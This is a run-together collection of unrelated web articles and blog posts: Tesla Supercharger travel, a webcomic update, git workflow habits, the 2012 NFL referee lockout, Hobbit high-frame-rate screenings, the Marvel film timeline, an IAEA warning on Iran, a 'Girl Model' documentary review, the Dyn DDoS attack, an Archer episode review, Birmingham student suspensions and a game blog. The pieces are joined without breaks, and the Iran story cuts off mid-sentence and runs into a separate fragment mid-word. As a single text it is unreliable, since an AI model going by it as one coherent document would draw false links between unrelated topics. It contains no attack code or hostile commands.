secrecy. The White House led an aggressive campaign throughout Tuesday to silence journalists who learned of it through unofficial sources and promptly reported it on Twitter.Mr. Straubel said he saw the high-speed chargers as “the final piece of the whole technology suite” enabling Tesla to “take on an enormous part of the market we couldn’t reach before.” My journey began at 6:55 a.m. at Kings Beach, Calif., elevation 6,000 feet, on Lake Tahoe’s north shore. The 85-kilowatt-hour battery pack, which has an E.P.A.-rated range of 265 miles, was only three-quarters full when I left, but the Model S had no trouble with the 100 miles, much of it downhill, to the first charger in Folsom, Calif. When I arrived, the battery pack still held 40 percent of its capacity. At 9:25 a.m. in Folsom I pulled the Model S close to the pedestal that carries the charging cable, which is only four feet long to ensure that it never falls to the ground and gets run over. The Supercharger itself, about the size and shape of a small refrigerator, sits 30 feet away. Plugging in was as easy as charging at home and simpler than using a gas pump. On the Model S, the fast charger connects to a port hidden behind a door in the driver-side taillight — the same one used for lower-power refueling at home. Amenities near the Folsom charger, as with other Tesla network locations, were not an obvious match for the automaker’s upscale demographic. Tesla identified places close to chain restaurants, restrooms, Wi-Fi and motels. Twenty-two minutes after plugging in, the charger had restored 100 miles of range in the Model S. It took another 20 minutes to add the next 50 miles because the rate of charging tapers down as the battery fills. Think of it as electrons having more difficulty squeezing into an increasingly crowded space. The smart strategy for fastest charging is to arrive at a destination with a nearly empty battery. Another five minutes of charging brought the estimated range to 254 miles, enough to make it to the next stop, Coalinga. Tesla engineers advised holding my speed to 70 miles per hour just to make sure. No restrictions were placed on air-conditioner use, though. Advertisement Continue reading the main story The Supercharger is clever in its construction. It starts with the same 10-kilowatt charger that is onboard every Model S. To build the Supercharger, the company strings together 12 of the same units, which were designed from the beginning as building blocks. “It’s good modular engineering,” Mr. Straubel said. “We configured all the circuitry, the power and the communications so we can just stack them up.” Each Supercharger can serve two cars, and most locations will have three units. With solar panels planned for many locations, operating costs are expected to remain low, perhaps explaining the free recharges. My lunch stop at Harris Ranch, a hacienda-like restaurant, added 153 miles of range before my burger even arrived. So I cleared the charging spot for another Model S, a Tesla company vehicle that had joined the trip, and returned to lunch. With way more energy than I would need to reach the next station 115 miles away, I made up time by flying along with Interstate 5’s speedy traffic. At 4:30 p.m., at the Lebec station — the first Tesla station to incorporate solar panels — I was content to add 117 miles of range in 25 minutes. The final run to Tesla’s Southern California design center in Hawthorne was uneventful. I arrived at 6:30 p.m., almost 12 hours after leaving Tahoe. The Supercharger concept worked. Driving a gas-powered car averaging 60 miles per hour, stopping one hour for lunch and twice for 15-minute rest stops, would have cut my travel time by one hour. In my electric test car, if I had eaten my lunch on the go, the duration would have been much the same. The transition from a day on the Interstates to an evening in Los Angeles, where a ceremony to introduce the Supercharger concept to a crowd of Tesla fans, was jarring. After delivering a stilted, ad-libbed speech, Elon Musk, Tesla’s chief executive, dropped the curtain from a glowing 40-foot object, apparently a charging location roadside sign, but unmistakably phallic in shape. I didn’t see anything like it on my trip. Advertisement Continue reading the main story Let’s hope that the cheap theatrics will fade, to be replaced by a more realistic image: thousands of E.V. owners on electric road trips, eating at highway fast-food restaurants and experiencing the open road like other Americans.Alrighty guys! Today we have an awesome update! It’s a fully colored page 4 (letters yet to be added) and it looks glorious! On this page we get to see a typical day in the life of an African superhero. We see E.X.O. trying to fend off a what looks to be a serious attack from the menacing robots called the DREDs. On the first panel, you can see our hero E.X.O. protecting a civilian family from incoming DRED fire with a force field. This is one of my favorite pages (who am kidding all the pages are my favorites) because we get to see the heroics of E.X.O. The funniest part however is the shock of the LCPD officers’ faces. Let me know what you guys think in the comments below. Stay tuned for more page updates. SHARING IS CARINGThis syllogism drives my decision-making when I design and build tools for myself. Let me walk through a concrete example, involving automating some git tasks: My Habits are Apparent in My Work I’m working with a small team, detangling a highly complected codebase. Changing any feature means touching lots of different chunks of code. In the course of such changes, we frequently encounter small, logically unrelated problems — unrelated, but necessary to fix in order to make headway. Mostly those small changes get wrapped up in the larger feature. They end up committed to the same branch, in the same pull request, and are part of the same code review. Code reviews get bloated, which means reviewers can spare less attention. The quality of our output is affected. It seems to me that I need to change my habits in order to reduce the size (and increase the coherence) of my commits and pull requests. My Tools Determine My Habits I have a friend who trains dogs. Some of the dogs she trains are police dogs; the training needs to stick. She said something funny to me: “We don’t use treats to reward our dogs, and we never punish.” That confused me. Reward and punishment — isn’t that how training works? What’s left? She explained that they didn’t want the dogs to respond to threats of punishment. They wanted them to respond to correction. A correction is just a reminder of what the dog should be paying attention to: There’s this really interesting smell over there, I’m going to go investigate, oh jeez, what a smel— “Spot! No.” — oh! Right! No time to smell that; I’m on the job! Similarly, treats, she said, are a dangerous way to reward behavior. Who needs a police dog that won’t do anything without a MilkBone dangling nearby? Instead, dogs received social rewards from their handlers: petting, happy voices, physical contact. This is a reward that everyone wants the dog to want. No one’s worried about the dog having too much. She said they work hard to connect new habits to the habits the dog already has, so that one triggers the next — that’s called chaining. When I’m writing tools for myself, I tend to think of myself as the subject in an operant conditioning experiment — like a dog being trained. To change my behavior, I don’t bribe myself with treats, or punish myself with cruelty — my tool is what will train me, using corrections and “never too much” rewards. In order to determine how the tool will work, I ask myself these 5 questions: 1. What behaviors do I want to exhibit? I want to make lots of little pull requests; sometimes that means making a pull request for a small fix even when I’m in the middle of making other changes. I want to make pull requests with well-defined scope. 2. What behaviors are undesirable? I don’t want to make pull requests of indeterminate scope. I don’t want to wrap conceptually disconnected changes, even if they’re prerequisite to the main change. 3. How easy is it for me to do the right thing? Right now? I have to create a branch, check it out, stage the changes, commit them, change back, and then cherry pick that commit (or perform some similar foolishness in order to get back those changes). Once the tool is done? Once I’ve made and staged a few changes that I realize shouldn’t be in this pull request, I want to be able to commit them to a separate branch and pull-request them in a single command, without losing them. Anything more than a single command will involve too much cognitive load — it will feel like a punishment. 4. How immediately rewarding is it to do the right thing? What’s the reward? One of the reasons I love building my own tools is the inherent jolt of pleasure I get every time I use them. The fraction-of-a-second feeling of ha! It worked! is an incredible reinforcer. (There is also the satisfaction of having more pull requests merged, and having the review go more smoothly. Unfortunately, reinforcement learning is very bad at connecting actions to distant rewards. If the delay between is too great, it won’t reinforce good behavior.) 5. What will correct me when (or before) I start bad behavior? I think it would be great if, when I branched, I was forced to explain what the eventual pull request would contain. Then, at each commit, I could receive a little reminder of what I planned to do: a sort of alarm to check that all the changes fit the description. Remember, just like the dog, all I really need is an interruption to stop the bad behavior. Once I’m thinking about it, I know the right thing to do. The Tools I Use… The easiest way to create new habits is to tie them to old ones. When I’m about to start on a new feature, I branch the repo. That habit is in place. When I’m about to start a new feature, I want to establish a tight scope for the eventual pull request. Put that way, the necessary change seems obvious: Once the scope has been established, any changes that are necessary but outside that scope should be made in micro-requests: (Note that the changes are still on this branch, too — I made them because I needed them! Now they can be reviewed on their own. Note also that in my personal version of this script I’ve added a git push too.) With that, I’ve taken care of making the desired behavior easy — now I need to add a correction to prevent bad behavior. When I commit to the current branch, I should be faced with a reminder of the scope I defined for myself. I’ll prepend it to the commit message template: Now that the scripts are in place, I still need a few git alias ‘s to plug all those parts together, and a few tweaks to my editor’s git plugin (I use magit) and I’m done! …Affect My Work By thinking of my tools as dog-trainers, and myself as the dog, I’ve transformed my git usage. Before I started, I was faced with two onerous tasks: first judging whether each change I make fits in with my original intentions, and second (if they don’t fit) making a tiny-but-separate pull request by stashing, branching, staging, committing, checking out, and unstashing. These were tasks I did rarely and poorly. That’s important: I didn’t automate something I did all the time; I automated something I felt I should do more often. I built a tool that not only made those tasks easier, it connected them to habits I already had: branching and committing. It rewards me for doing right, and corrects me before I do wrong. I say why I’m branching when I branch; I get to refresh my memory of that intention when I commit; and if something doesn’t fit in, I can commit it to another branch in one command.NFL officials agree to deal with league, will return this weekend NFL executive Greg Aiello confirms that an agreement was reached Wednesday night after back-to-back days of marathon negotiations in the wake of a blown call Monday night that cost the Packers a win over the Seahawks. The ProFootballTalk.com report said a crew is being assembled to work Thursday night's game between the Cleveland Browns and Baltimore Ravens and on Friday the regular officials will travel to Dallas to retrieve their equipment and receive their game assignments for Sunday and Monday. The same crews as last season will be working together this season. The deal was first reported by ProFootballTalk.com. The NBC-owned website cited Jim Daopoulos, a longtime NFL official and supervisor of officials who joined NBC as an analyst this season. Multiple reports, including one on NFL.com citing a league source, said a deal was reached Wednesday night after back-to-back days of marathon negotiations that were spurred by a blown call that cost the Green Bay Packers a win over the Seahawks in Seattle on Monday night. NFL executive Greg Aiello tweeted: "Pleased to report that an agreement has been reached with the NFL Referees Association." The deal is done: The regular NFL officials are coming back for Week 4. According to reports, the pension issue was resolved with the existing defined-benefit plan remaining in place for five years until the officials are rolled over into a 401(k) plan. Ending a lockout that lasted nearly four months -- and three weeks of pins-and-needles tension with replacements -- the NFL on Wednesday night reached a labor agreement with its officials, presumably in time for the regular crews to work this weekend’s games. The crisis reached a flashpoint Monday night, when the Green Bay Packers were denied a victory against the Seahawks in Seattle on the basis of a wrong call on a Hail Mary pass. That turned up the heat on NFL Commissioner Roger Goodell and team owners to find a solution that largely concerned whether the officials could maintain their defined-benefit pension plans. During the first three weeks of the regular season, the league came under heavy criticism from fans, players, and even normally friendly broadcast partners. “I hope it happens soon,” St. Louis Rams quarterback Sam Bradford said Wednesday. “I just don’t think it’s fair to the fans, I don’t think it’s fair to us as players to go out there and have to deal with that week in and week out.” The replacement officials were mostly culled from the small college, junior college and high school ranks. Unlike when replacements were used for Week 1 of the regular season in 2001, major college officials watched this labor fight from the sidelines, in support of their NFL officiating brethren. After news broke early Wednesday that a deal was at hand, Scott Green, a negotiator for the NFL Referees Assn., informed the officials in an email that the suggestion was premature and that talks were still underway. Goodell participated in the negotiations, which took place over four days last week, during the weekend, as well as marathon sessions on Tuesday and Wednesday. A federal mediator also assisted in the talks. ALSO: Las Vegas casino offers refund for Packers-Seahawks game Patriots Coach Bill Belichick fined $50,000 for contact with referee Green Bay TV station pokes fun at NFL with replacement weathermanUp to 10 minutes of the upcoming Peter Jackson movie will be shown at 48 frames per second at the annual gathering of theater owners, where all of the major studios will present footage this week. LAS VEGAS -- Up to 10 minutes of Peter Jackson’s The Hobbit: An Unexpected Journey will be screened in 3D at 48 frames per second during a Warner Bros. slate presentation Tuesday at CinemaCon. The Hobbit will be one of many films previewed at the annual theater owners confab in Las Vegas, where for the first time in at least a decade, all of the major studios will present preview clips of their upcoming slate. The newly merged Lionsgate and Summit is also in town to screen What to Expect When You're Expecting. Millions of fans around the world are eagerly anticipating the prequel to Jackson’s The Lord of the Rings trilogy, which grossed an estimated $2.9 billion worldwide. PHOTOS: Top 15 Grossing Threequels of All Time The Hobbit also will become the first major motion picture to be made at the high frame rate of 48 per second. Frame rate is the number of images displayed by a projector within one second. The cinema standard has long been 24 fps, but Jackson, James Cameron and Douglas Trumbull are among the filmmakers who are urging the industry to consider higher frame rates -- which they believe will greatly reduce or eliminate motion artifacts. Some HFR-related announcements are expected at CinemaCon, as digital cinema equipment manufacturers are working to be able to support whatever the demand might be from exhibitors and studios. Series 2 projectors from Barco, Christie and NEC -- 40,000 to 50,000 are installed worldwide, according to Christie -- would be able to show The Hobbit at a HFR with a currently available software upgrade and a piece of hardware called an integrated media block (IMB) equipped to play 48 fps, vendors explained. PHOTOS: 10 Billion Dollar Babies: Movies That Have Crossed the 10 Figure Mark Between Cinemark and Rave, there are nearly 4,000 screens in North America that have Barco Series 2 projectors with the required software and a Doremi IMB with beta software to make it capable of playing HFR, Barco vp digital cinema entertainment Patrick Lee told The Hollywood Reporter. Sony expects the majority of its 13,000 installed 4K digital cinema projectors to support high frame rates by the time The Hobbit is released Dec. 14, though the film also will be available in 24 fps. While many have an eye on The Hobbit’s December release date for the update, there is some speculation that a 48fps trailer might be released as early as July. At CinemaCon, which opens Monday at Caesars Palace, The Hobbit clip is scheduled to be shown using a Christie projector with the RealD 3D system. Cameron, who demonstrated the potential of HFRs at last year's CinemaCon, has said that he intends to make Avatar 2 and 3 at HFRs. Trumbull is developing ShowScan Digital, a patent-pending process that uses 24 frames per second but allows the filmmaker to embed up to 60 frames per second sequences in order to provide creative choice to filmmakers. This year's CinemaCon will honor Chloe Moretz, Jennifer Garner, Anna Faris, Jeremy Renner, Charlize Theron, Josh Hutcherson, Diego Boneta, Judd Apatow, Taylor Kitsch and Dwayne Johnson.Fans confused about just when Marvel's movies take place are about to have all their questions answered, with Marvel Studios head Kevin Feige promising that the studio is planning to release a formal timeline of its output to date. But is that really necessary? "We are going to be publishing an official, and I'm not sure when, or in what format, an official timeline," Feige told ScreenRant this week. "It'll probably be a part of, ah, I don't know, a part of a print that you can fold out and look at. But suffice to say, only in limited cases do we ever actually say what the actual years are because we never want to be tied down to a particular year and I think people assume that whenever the movie is released is when is when the movie is taking place, and that is not the case." The uncertain nature of the cinematic timeline has become more obvious with the Marvel releases of 2017; Guardians of the Galaxy Vol. 2 apparently took place in the immediate aftermath of the first movie, despite coming out three years later, and Spider-Man: Homecoming had an "Eight Years Later" onscreen announcement that would appear to place it (and Captain America: Civil War, for that matter) in 2020, presuming Avengers took place in 2012 when it was released. The confusing timeframe of the Marvel movies has been present for a while, however: The Incredible Hulk, which came out in 2008, was set after 2010's Iron Man 2, because that's the only way the Tony Stark cameo in Hulk makes sense. On the one hand, this could be considered the result of haphazard planning, the kind of thing that could — and, apparently, has, if Feige has to answer questions about it — confuse an audience. On the other hand, this is a case of the new medium successfully adopting one of the bugs of the source material, because Marvel's comic book timeline is infinitely screwy in ways that the movies would have to work years to successfully replicate. Obviously, Marvel's comic book stories don't conform to any kind of real-life timeline; if they did, Peter Parker would be somewhere in the region of 70 years old under the Spider-Man mask, with Tony Stark in his 80s, if not older. But while Marvel's comic book continuity keeps to a vague 10-year rule — wherein the Fantastic Four's first trip into space, which launched the Marvel Universe as fans know it, happened around about a decade ago, no matter what — there are various problems that have continued to complicate matters as time goes on. For example: Ben Grimm and Reed Richards of the Fantastic Four fought in World War II; it's actually shown, via flashback, in Fantastic Four No. 11 (1963). Even with the sliding timescale method, that would make them somewhere in the region of 90 years old by now. Similarly, the Punisher is on record as being a Vietnam vet, originally — but that would make him, at the very youngest, 60 today, if that were true. Less seriously, Dazzler was created to cash in on the disco craze — her name was originally the "Disco Dazzler" — and Spider-Man once teamed up with the original cast of Saturday Night Live, two other chronological anomalies if the 10-year rule stands. Even the idea that stories can take place out of sequence is a comic book staple — in the runup to its 2015 event series Secret Wars, Marvel's Avengers comics took place eight months in the future of all the other superhero comics the company was publishing in an attempt to build dramatic tension by upending the status quo. Perhaps Avengers: Infinity War could follow suit, and jump ahead of Ant-Man and the Wasp and the other upcoming movies, just because? All these complications — not to mention irregularities like children growing from babies to toddlers, or teens becoming adults, although no other characters around them seem to age — haven't scared off fans, however; if anything, there has grown a culture of acceptance of them, a mindset that such contradictions and mistakes are part of the whole deal, to be enjoyed and appreciated. With Marvel's cinematic universe beginning to look as if it could become as contradictory and confusing in its own right, the same thing might be about to happen for movie fans. Instead of formalizing the chronology of its movies, why doesn't Marvel Studios embrace the confusion and start sending out No-Prizes to those who can work it all out, instead?UN atom watchdog chief says to quit if Iran attacked Associated Press Published: Saturday June 21, 2008 \| Print This Email This DUBAI, United Arab Emirates - The U.N. nuclear watchdog chief warned in comments aired Saturday that any military strike on Iran could turn the Mideast to a "ball of fire" and lead Iran to a more-aggressive stance on its controversial nuclear program. The comments by Mohamed ElBaradei, head of the International Atomic Energy Agency, came in an interview with an Arab television station aired Saturday, a day after U.S. officials said they believed recent large Israeli military exercises may have been meant to show Israel's ability to hit Iran's nuclear sites. "In my opinion, a military strike will be the worst... it will turn the Middle East to a ball of fire," ElBaradei said on Al-Arabiya television. It also could prompt Iran to press even harder to seek a nuclear program, and force him to resign, he said. Iran on Saturday also criticized the Israeli exercises. The official IRNA news agency quoted a government spokesman as saying that the exercises demonstrate Israel "jeopardizes global peace and security." Israel sent warplanes and other aircraft on a major exercise in the Eastern Mediterranean earlier this month, U.S. military officials said Friday. Israel's military refused to confirm or deny that the maneuvers were practice for a strike in Iran, saying only that it regularly trains for various missions to counter threats to the country. But the exercise the first week of June may have been meant as a show of force as well as a practice on skills needed to execute a long-range strike mission, one U.S. official said, speaking on condition of anonymity because he was not authorized to speak on the record on the matter. More than 100 jets The New York Times quoted officials on Friday as saying that more than 100 Israeli F-16s and F-15s staged the maneuver, flying more than 900 miles, roughly the distance from Israel to Iran's Natanz nuclear enrichment facility, and that the exercise included refueling tankers and helicopters capable of
’t prove that religion destabilizes society, but it does suggest that unstable and dysfunctional societies become religious in a defensive way—either to find succor in a celestial sky-father or as a circling of the wagons, an ingroup-outgroup stance that one assumes when feeling beleaguered. It’s really sad that a brilliant novelist like Robinson uses her brainpower to denigrate science in a public attempt to buttress her faith. At the end, Gleiser parrot’s Robinson’s accommodationism: Frontal attacks on religion and its practices will only produce more animosity. Fundamentalism leads to further entrenchment, not to conciliation. Perhaps a better approach is to teach science as it truly functions, constantly engaged in a two-way exchange with the culture of its time. Perhaps a better approach is to teach religion as it truly functions, constantly engaged in lying to children and retooling its dogma as science and secular morality advance. Why do we need conciliation?Chilling Future Awaits 'Girl Model' Recruits Enlarge this image toggle caption First Run Features First Run Features Girl Model Directors: David Redmon, Ashley Sabin Genre: Documentary Running Time: 78 minutes Not rated Watch Clips 'A Modeling Career' 'A Modeling Career' 'A Gray Mouse' 'A Gray Mouse' 'Two Jobs' 'Two Jobs' In Girl Model, an alarming documentary about the trafficking of Russian child models to the Japanese fashion market, a garrulous modeling agent explains his philosophy: To expiate his own past bad behavior, he says with papal solemnity, he approaches model recruitment as a religious calling, not to mention a fatherly responsibility to do right by the girls, give them a better life than they have now and protect them from harm. This apparently includes hauling novices off to the city morgue to see how badly things can end for a recruit who doesn't do as she's told. As the rest of the film shows in quietly terrifying detail, it also involves dispatching barely pubescent girls to Tokyo without their parents, dumping them in sparsely furnished apartments without supervision and leaving them to fend for themselves as they run from casting calls to photo shoots without actually earning a penny. Most of the girls are under 15 years of age. No doubt one or two make it in the business. The lucky ones make it home, severely in debt but physically unhurt. The movie, made by Massachusetts filmmakers David Redmon and Ashley Sabin, doesn't directly address the legality of this slimy operation. But unless this disingenuous creep of an agent actually believes his own propaganda, you have to wonder what possessed him to open himself to scrutiny by two filmmakers who are well-known for expose docs like Mardi Gras: Made in China and Camp Katrina. Oddly enough, the idea for Girl Model came from the agent's chief scout, an American former model named Ashley Arbaugh, who's credited as a "creative consultant." Arbaugh, who went to college with Redmon, has a horribly compelling role in the movie: She plucks a 13-year-old Serbian beauty named Nadya from her home in a village near Novosibirsk and sends her to Tokyo. There, we learn, the demand for leggy innocents is endless. Watching Nadya and hundreds of other skinny, bikini-clad hopefuls line up before scouts who mull their flaws in front of them as if they were fresh meat — "Her hips are too big," "She's nothing special," and so on — you wonder also whether any of the gathering public outrage in the West over the abuse of underage models has percolated through to the Eastern bloc. If it has, it's not getting in the families' way. Nadya doesn't come from wealth, but it's far from clear that her loving parents are destitute; they want to build a more spacious house. For her part, this touchingly sweet kid is bemusedly thrilled to win the cheesy crown that makes her "Miss Elite Star." Basically, though, she wants things "to be good at home." Enlarge this image toggle caption First Run Features First Run Features Nadya's euphoria doesn't last. In Tokyo, she must find her way alone to the rundown flat she shares with a slightly more well-heeled Russian girl who's soon sent packing for gaining a few ounces. As Nadya trudges through casting calls that bear no fruit, weeps through intermittent phone conversations with her mother when she can find a phone, and exhibits childish delight when she finally finds a magazine photo of herself all but hidden under a garish wig, her loneliness is pretty devastating. But the emotional isolation of the brittle scout Ashley, a vision of Nadya's future if she's "lucky," made me want to throw myself off a cliff. A former model herself, Ashley is bright, articulate and seemingly crippled by ambivalence toward the lucrative living she earns as a de facto procurer for a man she knows is just this side of a pimp. She has grown wealthy on the proceeds, and it's a perverse visual gift to the filmmakers that she lives in a glass house in Connecticut, alone save for a couple of naked plastic dolls — "I had a third, but I dissected it" — that represent the babies she plans to have, though it's unclear with whom. Is Ashley a sad case in a whole different way from the innocent Nadya, or an accomplished self-promoter, every bit as corrupt as her boss? She claims to hate the world that she sees as a velvet prison, yet at times Girl Model feels like Ashley's private vanity project. (Do we need to see before-and-after footage of her stomach when she has surgery to remove the fibroid tumors that are preventing her pregnancy?) She describes the slide of many would-be models into prostitution — it "may be easier than being a model," she says — with something disturbingly like relish. And by the end of the movie, she has exhausted our sympathy by showing herself to be a smoothly practiced liar, snowing the anxious parents of a fresh batch of recruits with promises that their daughters will all be successful and never get into debt. By now we know enough that, when a postscript tells us what Nadya will do next, we're filled with dread.A senior US intelligence chief has said that "non-state actors" – bored kids or crooks* – are likely behind the high-profile attack on DNS provider Dyn last week. A massive DDoS attack against Dyn resulted in multiple high-profile websites – including Twitter, Amazon and Netflix – to be unavailable last Friday. US director of National Intelligence James Clapper said that preliminary indications suggested that "non-state actors" rather than spies had launched the assault. Clapper offered the assessment, which he hedged with caveats, in an interview with CBS television host Charlie Rose at the Council on Foreign Relations in New York. Asked if the internet attack was done by a non-state actor, Clapper said: "Yes, but I wouldn't want to be conclusively definitive about that yet," adding, "That's an early call." A group called New World Hackers has claimed responsibility for a DDoS attack. The same group previously took credit for a DDoS attack on the BBC late last year. Clapper, who oversees US intelligence agencies and reports to the president as a principal advisor on national security, went on to explain that rogue states and random hackers can sometimes pose more of a problem than more capable adversaries. "We've had this disparity or contrast between the capability of the most sophisticated cyber actors, nation-state cyber actors, which are clearly Russia and China, but have to this point perhaps more benign intent," Clapper said. "And then you have other countries who have a more nefarious intent. And then even more nefarious are non-nation-state actors," he added. Characterising activities such as the hack against US Office of Personnel Management or Democratic National Committee, blamed on China and Russia, respectively as benign seems odd. Clapper was accused of providing false testimony after he told a congressional committee in March 2013 that the NSA does not collect data on millions of Americans, a line blown apart by the Edward Snowden revelations. ® Youtube Video * ie, not government-sponsored thespians, as Adrian 4 would probably point outTV Reviews All of our TV reviews in one convenient place. The episode that “House Call” reminds me of most is season two's “Stage Two,” which is without a doubt my favorite episode of Archer. That’s really high praise—but this episode deserves it. “House Call” is an episode with a lot of moving parts, but the story is so well-crafted that it never feels like anything gets dropped or left behind. The arc between where the episode starts and where it ends is miles apart, emotionally, but the episode is just 22 minutes long—and the characters never leave Tunt Manor. Though this is the fourth episode of the season, it feels like the first that is making full use of Archer Vice's absurd reset of the show’s premise. Advertisement None of this would be possible, though, without one odd truth: The antics of Sterling Archer have become peripheral to the show that bears his name. (And his mother’s, to be fair.) He’s still very funny, and he’s a necessary conduit for the audience to care about the story. But Archer has changed in the past few seasons from a character who did absolutely insane things to a character that stirred cocktails while other people did crazy things. This season, Archer’s idiotic tendencies have been down to the barest of minimums: He did play tonsil-hockey with Ramon, I guess, but it's hardly “rampageo” idiotic. Meanwhile, Pam’s the character who has turned into an agent of chaos—a reliable source of insanity. She’s all id, especially when she's all coked up. Her character has been mostly elided by cocaine at this point—she has very few lines in this episode that aren’t grunting noises or “more cocaine”—but if anything, what this episode indicates is how fundamental Pam has come to the story of these former ISIS agents. Because, weirdly, getting addicted to cocaine turns Pam into a character with a hell of a lot more agency. For the first few seasons of this show, she was the weird HR manager, always desperate for a little more attention, hoping that the crew of agents would like her, and occasionally bursting into tears over her ruined marzipan model of her farm. She always let it all hang out, but there was a certain insecurity there, too. Archer Vice Pam, though, is a character who growls at people, steals from her employers, eats cocaine in public, bursts out of her rope bonds, and doesn’t give a damn about anyone’s approval or validation. It’s insane, but it’s also kind of beautiful. Her weight loss is clearly tied into that sense of empowerment, too—I don’t love the idea that being skinnier makes you happier, but I don’t love the idea that being addicted to cocaine makes you happier, either. But the fact is that Pam’s character is fucking fierce as hell right now, and I am loving it. Advertisement She’s so powerful, in fact, that the entirety of “House Call” is really about trying to get Pam under control—by either getting her clean or, um, killing her. Krieger introduces a third option, which is to put the mind-control chip into her brain so that she does what they want her to. But when faced with a tranq’d out Pam and a tranq’d out Cheryl, the gang chooses to implant Cheryl—because, loosely, they like Pam better this way. And also don’t care if she dies. (But it’s Krieger and Cyril! They don't care if anyone dies!) Cheryl, too, is getting a little bit of love from the plot, after several seasons on the margins. ISIS derailing entirely elevates her from the quirky, kinky assistant to a quasi-landlady, and the last few episodes have transformed her from a whiny heiress to a whiny heiress with bankable talent. And now that Krieger’s chip is in her, the stage fright has been programmed right out of her. And she wants six fried eggs and Carolina fries, stat, or there will be hell to pay. Cheryl (pardon me, Cherlene) is pretty damn fierce now, too. It's smart for Adam Reed and the rest of the team on Archer to not only blow up the premise of their show, but also to do it in a way that directs story and growth at its least-served characters. As wonderful as Pam and Cheryl have become over the course of the last four seasons, they’ve also been stuck in the roles they've been given. Krieger is the other character that could use some attention, and he might get it this season as well. (His little conversations with Cyril in this episode sound like they could be the beginnings of a friendship for Krieger, which hasn’t happened before, if I remember correctly.) Advertisement This shift in focus also frees up Archer, Lana, and Malory to have some other stories for once—including, in this episode, a conversation between Ron and Malory and another between Archer and Lana that both felt long overdue. Todd, when he comes back for the next episode, will probably have a more eloquent eulogy for his favorite character. For now, I’ll say that though I’m sad Malory and Ron broke up, I’m glad the show decided to do something with the characters. Both of them had fallen into kind of a rut, and there are only so many ways to make the same joke about Malory's alcoholism. I actually felt bad for her when Ron walked (hobbled) away, and that’s a rare feat. The same is true of Lana and Archer, who have been stuck in a weird intermediate space between “openly into each other” and “frenemies” for several seasons now. I love them together—and not just because I have a craven ‘shipper’s heart! When they’re engaging with each other in this flirty but confrontational way, Lana’s character has a reason to exist and Archer’s character has a reason to grow. Archer could never truly mature—it would be so boring!—but over the past four seasons, he really has grown up a little, into a guy who researches and then memorizes all possible complications of pregnancy because he’s worried about his ex-girlfriend. It's, you know, super weird, but also kind of adorable. Also: The sheer range of emotions that Lana and Archer take us through while they're locked in the kitchen is astonishing. Because Archer is all about the polished jokes, often any particular moment will feel a little like a foregone conclusion. The characters don’t really emote with their faces, either, because they’re animated, so it usually doesn't matter. But somehow, in that moment, H. Jon Benjamin and Aisha Tyler made the connection between those two characters feel very present and very alive. The transitions between affection, irritation, anger, and despair all work pretty well. And it ends with the words “rim job,” so, you know, no argument here. Lastly, Gary Cole as FBI Agent Hawley reprises his role, and though he doesn't really interact with anyone too much (except for yelling through doors), he’s kind of perfect in the role. This is just a solid episode all around. Advertisement Stray observations: There’s no way I'm going to be able to get every joke. So I will not even try. Leave ‘em in the comments. Okay, just one: “It’s… somewhat like that old gypsy woman said!” There were a lot of running gags this week, too: The “Ripley” joke that kept failing; the death of “phrasing”; the metric system; all these ISIS people making noise while Ron’s trying to convalesce. Woodhouse found his way out of the pool somehow. He would like to inform you, however, that breakfast will be four minutes late. The next Archer episode, “Southbound And Down,” will be on February 24. Even ISIS cannot conquer the winter Olympics.Academics and artists sign open letter saying university's actions against student protesters are 'at odds with freedom of speech' Noam Chomsky and Ken Loach are among a host of academics, artists and politicians to condemn the suspension of five university students who took part in a protest on their campus. In an open letter, signed by 40 people and published by the Guardian, they criticised the University of Birmingham's actions as being "at odds with freedom of speech". They demanded the immediate reinstatement of the students, who were among 13 arrested during the demonstration at the university last month. "We believe that the suspensions seen at the University of Birmingham are further evidence of the contempt for freedom of expression, both political and academic, in the contemporary university," they wrote. The signatories, also include former secretary of state for international development and Birmingham MP Clare Short, who said: "These suspensions are at odds with freedom of speech and the right to protest, setting a threatening precedent for how dissent is dealt with on campuses across the country. "We condemn these suspensions in the strongest terms and call for the immediate reinstatement of the students affected." Their intervention comes amid growing tensions between student activists and the management in some universities, who have clashed over what the protesters called the "marketisation of education". The protesters want to see an end to cuts and privatisations of university services, and a return to free access to education. The Defend Education Birmingham activists who occupied part of Birmingham University's campus said they were part of a peaceful protest and were unlawfully kettled by police, who demanded their personal details in exchange for release. But the university argued that their protest was not peaceful and caused damage to property. West Midlands police have also insisted that the protesters were detained as part of a criminal investigation, not kettled. Deborah Hermann, 21, who studies European politics, society and economics was one of the students suspended, along with Simon Furse, 22, Kelly Rogers, 21, Emily Farmer, 20 and Pat Grady, 21. She said the university's stance "shows the wider picture; the repression of the protest shows why the protest is so important". She added: "It is unjust, I have been treated very unfairly. I know the university doesn't care about me, they just want to intimidate students. They always put out statements saying that they really support peaceful and legitimate action, but they don't in practice. "They try to stop any kind of protest. Anything we do, they call it illegitimate. Instead, they have just repressed us. In 1968, students occupied the same Great Hall as us. It was emotional, but incredibly frustrating to be there doing the same. Then the police came. It is clear the university doesn't care about our opinions whatsoever." Edd Bauer, a campaigner with the National Campaign Against Fees and Cuts, said: "The reason we see oppression is because [the university management's] ideological positions are weakly supported. They have no choice but to resort to the stick. It is their only answer because they have no political argument. "The university is telling people not to protest and threatening them. Their message is that anyone who wants to protest, anyone who wants to occupy buildings, 'We will have you arrested, we will suspend you and cut you off from education.' We are seeing that all over the country. He said that the student movement he is part of is protesting against "more corporate universities". In 2012, the University of Birmingham was criticised by human rights groups – including Amnesty International – over an injunction it sought to pre-emptively ban protests. Its actions were described as "criminalising" sit-in protests and were called aggressive and censorious by Amnesty, Liberty and Index on Censorship. A University of Birmingham spokesman said the institution respects the right to protest peacefully and within the law and said that students have a "variety of ways" of making their concerns known. The spokesman said: "Whilst peaceful protest is part of university life, the university will not tolerate behaviour that causes harm to individuals, damage to property or significant disruption to our university community." The spokesman added the Defend Education Birmingham demonstration "included defacing buildings and property, throwing smoke bombs and fireworks, smashing down doors, damaging historic buildings including Aston Webb and the Old Joe clock tower, and injuring staff".Preface! I’m going to start taking this blog for real now with weekly updates and all. Therefore, I need to develop a structure but since this will be my first real article, I’m going to be working out the formatting. If you don’t like it in any way please make suggestions, I’m receptive! And with that out of the way, let’s get into it. Analysis, Teambuilding and FAQ Reincarnated Kushinada-hime Introducing the girl that single-handedly decided whether or not I’ll get D.Athena! I am not getting D.Athena (on NA) after debating it for months – since her release in JP actually. Kushinadahime has everything I was looking for in D.Athena because my other team is Ra=Dragon. Please, get D.Athena if you feel you need her but Kushinadahime just fixes all problems from my Ra=Dragon team, including the ability to clear floors without 